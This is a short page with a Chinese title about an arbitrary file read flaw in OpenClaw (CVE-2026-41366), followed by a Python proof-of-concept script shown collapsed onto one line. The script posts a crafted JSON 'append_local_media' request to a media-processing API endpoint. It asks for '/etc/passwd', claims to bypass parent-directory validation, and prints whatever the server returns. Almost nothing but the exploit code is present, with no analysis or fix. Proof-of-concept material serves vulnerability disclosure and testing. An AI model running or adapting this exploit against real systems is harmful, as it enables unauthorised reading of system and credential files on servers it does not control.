CVE-2026-41366 OpenClaw 任意文件读取漏洞

import requests import json # PoC for CVE-2026-41366: OpenClaw Arbitrary File Read # Description: Exploits the self-whitelisting vulnerability in appendLocalMediaParentRoots TARGET_URL = "http://localhost:8080/api/media/process" # Replace with actual target endpoint MALICIOUS_PATH = "/etc/passwd" # Sensitive file to read def exploit_openclaw(): headers = { "Content-Type": "application/json", "User-Agent": "CVE-2026-41366-POC" } # Payload designed to bypass parent directory validation payload = { "media_request": { "action": "append_local_media", "path": MALICIOUS_PATH, "recursive": True } } try: print(f"[*] Attempting to read {MALICIOUS_PATH}...") response = requests.post(TARGET_URL, data=json.dumps(payload), headers=headers, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") print(response.text) except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}") if __name__ == "__main__": exploit_openclaw()